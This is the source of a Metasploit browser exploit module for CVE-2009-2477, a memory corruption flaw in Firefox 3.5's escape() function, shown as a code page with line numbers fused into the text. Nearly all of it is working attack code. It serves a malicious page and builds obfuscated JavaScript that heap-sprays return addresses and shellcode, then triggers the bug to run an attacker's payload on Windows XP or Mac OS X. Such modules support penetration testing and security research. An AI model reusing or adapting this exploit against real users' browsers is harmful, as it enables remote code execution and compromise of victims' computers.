Path: blob/master/modules/exploits/multi/browser/firefox_escape_retval.rb
19592 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78#9# This module acts as an HTTP server10#11include Msf::Exploit::Remote::HttpServer::HTML1213# include Msf::Exploit::Remote::BrowserAutopwn14# autopwn_info({15# :ua_name => HttpClients::FF,16# :ua_minver => "3.5",17# :ua_maxver => "3.5",18# :os_name => OperatingSystems::Match::WINDOWS,19# :javascript => true,20# :rank => NormalRanking, # reliable memory corruption21# :vuln_test => nil,22# })2324def initialize(info = {})25super(26update_info(27info,28'Name' => 'Firefox 3.5 escape() Return Value Memory Corruption',29'Description' => %q{30This module exploits a memory corruption vulnerability in the Mozilla31Firefox browser. This flaw occurs when a bug in the javascript interpreter32fails to preserve the return value of the escape() function and results in33uninitialized memory being used instead. This module has only been tested34on Windows, but should work on other platforms as well with the current35targets.36},37'License' => MSF_LICENSE,38'Author' => [39'Simon Berry-Byrne <x00050876[at]itnet.ie>', # Author / Publisher / Original exploit40'hdm', # Metasploit conversion41],42'References' => [43['CVE', '2009-2477'],44['OSVDB', '55846'],45['BID', '35660'],46['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=503286']47],48'Payload' => {49'Space' => 1000 + (rand(256).to_i * 4),50'BadChars' => "\x00",51},52'Platform' => %w{win osx},53'Targets' => [54[55'Firefox 3.5.0 on Windows XP SP0-SP3',56{57'Platform' => 'win',58'Arch' => ARCH_X86,59'Ret' => 0x0c0c0c0c,60'BlockLen' => 0x60000,61'Containers' => 800,62}63],64[65'Firefox 3.5.0 on Mac OS X 10.5.7 (Intel)',66{67'Platform' => 'osx',68'Arch' => ARCH_X86,69'Ret' => 0x41414141,70'BlockLen' => 496,71'Containers' => 80000072}73]74],75'DefaultTarget' => 0,76'DisclosureDate' => '2009-07-13',77'Notes' => {78'Reliability' => UNKNOWN_RELIABILITY,79'Stability' => UNKNOWN_STABILITY,80'SideEffects' => UNKNOWN_SIDE_EFFECTS81}82)83)84end8586def on_request_uri(cli, request)87# Re-generate the payload88return if ((p = regenerate_payload(cli)) == nil)8990print_status("Sending #{self.name}")91send_response_html(cli, generate_html(p), { 'Content-Type' => 'text/html; charset=utf-8' })92handler(cli)93end9495def generate_html(payload)96enc_code = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))97enc_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(target.arch))98enc_ret = Rex::Text.to_unescape(99Rex::Arch.endian(target.arch) == ENDIAN_LITTLE ? [target.ret].pack('V') : [target.ret].pack('N')100)101102var_data_str1 = Rex::Text.rand_text_alpha(3)103var_data_str2 = Rex::Text.rand_text_alpha(4)104js = <<~EOF105var xunescape = unescape;106var shellcode = xunescape("#{enc_code}");107108oneblock = xunescape("#{enc_ret}");109110var fullblock = oneblock;111while (fullblock.length < #{target['BlockLen']})112{113fullblock += fullblock;114}115116var sprayContainer = new Array();117var sprayready = false;118var sprayContainerIndex = 0;119120function fill_function()121{122if(! sprayready) {123for (xi=0; xi<#{target['Containers']}/100; xi++, sprayContainerIndex++)124{125sprayContainer[sprayContainerIndex] = fullblock + shellcode;126}127} else {128DataTranslator();129GenerateHTML();130}131if(sprayContainer.length >= #{target['Containers']}) {132sprayready = true;133}134}135136var searchArray = new Array();137138function escapeData(data)139{140var xi;141var xc;142var escData='';143for(xi=0; xi<data.length; xi++)144{145xc=data.charAt(xi);146if(xc=='&' || xc=='?' || xc=='=' || xc=='%' || xc==' ') xc = escape(xc);147escData+=xc;148}149return escData;150}151152function DataTranslator()153{154searchArray = new Array();155searchArray[0] = new Array();156searchArray[0]["#{var_data_str1}"] = "#{var_data_str2}";157var newElement = document.getElementById("content");158if (document.getElementsByTagName) {159var xi=0;160pTags = newElement.getElementsByTagName("p");161if (pTags.length > 0)162while (xi < pTags.length)163{164oTags = pTags[xi].getElementsByTagName("font");165searchArray[xi+1] = new Array();166if (oTags[0]) {167searchArray[xi+1]["#{var_data_str1}"] = oTags[0].innerHTML;168}169xi++;170}171}172}173174function GenerateHTML()175{176var xhtml = "";177for (xi=1;xi<searchArray.length;xi++)178{179xhtml += escapeData(searchArray[xi]["#{var_data_str1}"]);180}181}182183setInterval("fill_function()", .5);184EOF185186# Obfuscate it up a bit187js = obfuscate_js(js, 'Symbols' => {188'Variables' => %W{189DataTranslator GenerateHTML escapeData xunescape190shellcode oneblock fullblock sprayContainer xi searchArray xc191escData xhtml pTags oTags newElement sprayready sprayContainerIndex192fill_function193}194}).to_s195196str1 = Rex::Text.rand_text_alpha(20)197str2 = Rex::Text.rand_text_alpha(24)198str3 = Rex::Text.rand_text_alpha(10) + " "199200return %Q^201<html>202<head>203<div id="content">204<p>205<FONT>206</FONT>207</p>208<p>209<FONT>#{str1}</FONT></p>210<p>211<FONT>#{str2}</FONT>212</p>213<p>214<FONT>#{str3}</FONT>215</p>216</div>217<script language="JavaScript">218#{js}219</script>220</body>221</html>222^223end224end225226227